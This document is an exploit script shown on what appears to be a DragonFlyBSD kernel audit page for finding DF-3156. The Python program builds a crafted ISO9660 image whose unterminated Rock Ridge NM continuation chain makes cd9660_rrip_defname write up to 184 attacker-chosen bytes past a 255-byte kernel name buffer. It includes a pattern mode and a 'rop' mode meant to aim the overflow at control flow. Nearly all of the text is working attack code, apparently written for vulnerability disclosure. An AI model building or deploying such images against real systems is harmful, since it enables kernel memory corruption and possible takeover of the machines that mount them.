⬢ DragonFlyBSD Kernel Audit
DF-3156 / craft_dangle.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# DF-3156 -- dangling-NM-CONTINUE chain -> cd9660_rrip_defname() writes the
# translated ISO name at the un-reset ana->outbuf (base + 255) => OOB write
# past the 255-byte name buffer (kernel stack in cd9660_lookup, kernel heap
# in cd9660_readdir).
#
# Mechanism (sys/vfs/isofs/cd9660/cd9660_rrip.c):
#   altname() advances ana->outbuf on every NM fragment (:277) and only
#   rewinds it on the '>maxlen' rejection (:271).  If the walk ends with the
#   chain unterminated (last NM has FLAGS=CONTINUE and no further NM ever
#   arrives -- natural end of the SUSP area after a CE continuation),
#   `result` never gets ISO_SUSP_ALTNAME, so cd9660_rrip_loop()'s default
#   fallback (:581-584) calls cd9660_rrip_defname(), which runs
#   isofntrans(isodir->name, name_len, ana->outbuf, ...) at the stale
#   pointer (:289-292): name_len bytes written at base+255.
#
# Budget arithmetic (reclen is a u8, max 255):
#   record = 33 + name_len + NM1(10) + CE(28) <= 255  ->  name_len <= 184
#   N (=NM1.wlen + NM2.wlen) = 5 + 250 = 255 (outlen cap, each step <=255)
#   => write at base+255 .. base+255+name_len-1: up to 184 OOB bytes of
#      fully attacker-controlled content (the ISO name itself, copied
#      verbatim at joliet_level 0, original=1).
#
# Layout (2048-byte sectors):
#   16        PVD (root extent = 32, size = 2048)
#   17        Volume Descriptor Set Terminator
#   32        root dir extent: "." (SP+ER+PX), "..", TRIGGER entry, "Z"
#   34        CE continuation block: single NM(len=255, FLAGS=CONTINUE)
import struct, sys

BSZ = 2048
ROOT_EXT = 32
CE_BLK = 34
TRIG_EXT = 36
NSEC = 40

def b733(v):
    return struct.pack('<I', v) + struct.pack('>I', v)

def b723(v):
    return struct.pack('<H', v) + struct.pack('>H', v)

def susp(sig, body):
    assert len(sig) == 2
    ln = 4 + len(body)
    assert 4 <= ln <= 255
    return sig.encode() + bytes([ln, 1]) + body

def sp(skip=0):
    return susp('SP', bytes([0xBE, 0xEF, skip]))

def er():
    i = b'IEEE_P1282'
    return susp('ER', bytes([len(i), 0, 0, 1]) + i)

def px(mode=0o100644, links=1, uid=0, gid=0):
    return susp('PX', b733(mode) + b733(links) + b733(uid) + b733(gid))

def nm_cont(data):
    "NM with FLAGS=CONTINUE (0x01): advances outbuf, never completes the chain"
    assert 1 <= len(data) <= 250
    return susp('NM', bytes([0x01]) + data)

def ce(blk, off, ln):
    return susp('CE', b733(blk) + b733(off) + b733(ln))

def dirrec(name, extent, size, flags, susp_area):
    pad = b'\x00' if not (len(name) & 1) else b''
    base = (bytes([33 + len(name) + len(pad) + len(susp_area), 0]) +
            b733(extent) + b733(size) + bytes(7) + bytes([flags, 0, 0]) +
            b723(1) + bytes([len(name)]) + name)
    # ISO9660 pads the record to even length; the SUSP area starts after
    # the pad (cd9660_rrip.c:484-486: pwhead++ when name_len is even).
    return base + pad + susp_area

def build(name, nm1b=b'AAAAA'):
    # name: the ISO9660 name of the trigger record -- becomes the OOB write
    # content via isofntrans (verbatim copy at joliet_level 0 / original=1).
    # First byte must not be 0x00/0x01 (defname's post-switch reads it).
    assert len(name) + 71 <= 255, len(name)   # 33 + NM1(10) + CE(28) + name(+pad)
    assert len(name) & 1, "use odd-length names (no pad byte needed)"
    assert name[0] not in (0, 1)
    img = bytearray(b'\x00' * (BSZ * NSEC))

    pvd = bytearray(BSZ)
    pvd[0] = 1
    pvd[1:6] = b'CD001'
    pvd[6] = 1
    pvd[8:40] = b'DF3156 CRAFTED IMAGE'.ljust(32)
    pvd[40:72] = b'DF3156'.ljust(32)
    pvd[80:88] = b733(NSEC)
    pvd[120:124] = b723(1)
    pvd[124:128] = b723(1)
    pvd[128:132] = b723(BSZ)
    pvd[132:140] = b733(10)
    root = (bytes([34, 0]) + b733(ROOT_EXT) + b733(BSZ) + bytes(7) +
            bytes([2, 0, 0]) + b723(1) + bytes([1, 0]))
    assert len(root) == 34
    pvd[156:190] = root
    pvd[881] = 1
    img[16*BSZ:17*BSZ] = pvd

    term = bytearray(BSZ)
    term[0] = 255
    term[1:6] = b'CD001'
    term[6] = 1
    img[17*BSZ:18*BSZ] = term

    susp_dot = sp(0) + er() + px(0o040555, 1, 0, 0)
    dot = dirrec(b'\x00', ROOT_EXT, BSZ, 2, susp_dot)
    dotdot = dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot)

    # TRIGGER: SU = NM1(CONT, 5B) + CE(->blk34 off0 len255); name = payload
    trig_susp = nm_cont(nm1b) + ce(CE_BLK, 0, 255)
    trig = dirrec(name, TRIG_EXT, 0, 0, trig_susp)
    assert len(trig) <= 255, len(trig)

    z = dirrec(b'Z', TRIG_EXT + 1, 0, 0, px())

    d = bytearray(BSZ)
    off = 0
    for rec in (dot, dotdot, trig, z):
        d[off:off+len(rec)] = rec
        off += len(rec)
    assert off <= BSZ, off
    img[32*BSZ:33*BSZ] = d

    # CE block: exactly one NM(255, CONT) covering the whole ce_len
    ceb = bytearray(BSZ)
    nm2 = nm_cont(b'C' * 250)
    assert len(nm2) == 255
    ceb[0:255] = nm2
    img[CE_BLK*BSZ:(CE_BLK+1)*BSZ] = ceb

    return bytes(img)

def pattern_name(n):
    "cycling A..Z pattern so byte offsets are identifiable in stack dumps"
    return bytes(bytearray([0x41 + (i % 26) for i in range(n)]))

if __name__ == '__main__':
    mode = sys.argv[1] if len(sys.argv) > 1 else 'pat183'
    out = sys.argv[2] if len(sys.argv) > 2 else 'df3156.iso'
    if mode == 'pat183':
        img = build(pattern_name(183))   # odd length: no pad byte needed
    elif mode == 'x4242':
        img = build(b'\x42' * 183)
    elif mode == 'rop':
        # byte 0 = 'R' (must not be 0/1), then 8-byte markers
        name = b'R' + b''.join(struct.pack('<Q', 0x4141414100000000 + i)
                               for i in range(22))
        img = build(name)
    else:
        sys.exit('modes: pat183 x4242 rop')
    open(out, 'wb').write(img)
    print('wrote %s (%d bytes)' % (out, len(img)))